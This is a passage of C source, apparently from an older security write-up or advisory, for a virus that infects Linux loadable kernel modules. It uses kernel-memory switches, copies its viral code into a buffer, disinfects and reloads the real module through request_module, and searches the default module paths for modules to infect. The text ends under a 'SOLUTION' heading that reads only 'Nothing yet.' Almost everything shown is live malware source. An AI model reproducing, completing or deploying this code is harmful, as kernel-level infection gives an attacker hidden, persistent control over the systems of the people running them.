	    file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
	    close(in);
	    END_KMEM
	    disinfect(path_name);
	    r = request_module(name);
	    DPRINTK("in load_real_mod: request_module = %d\n", r);
	    return 0;
    }

    char *get_mod_name(char *mod)
    {
	    int fd = 0, i = 0;
	    static char* modname = NULL;

	    if (!modname)
		    modname = vmalloc(MAXPATH + 60 + 2);
	    if (!modname)
		    return NULL;
	    BEGIN_KMEM
	    for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i++) {
		    memset(modname, 0, MAXPATH + 60 + 2);
		    modname = strcpy(modname, default_path[i]);
		    modname = strcat(modname, "/");
		    modname = strcat(modname, mod);
		    if ((fd = open(modname, O_RDONLY, 0640)) > 0)
			    break;
	    }
	    close(fd);
	    END_KMEM
	    if (!default_path[i])
		    return NULL;
	    return modname;
    }

SOLUTION

    Nothing yet.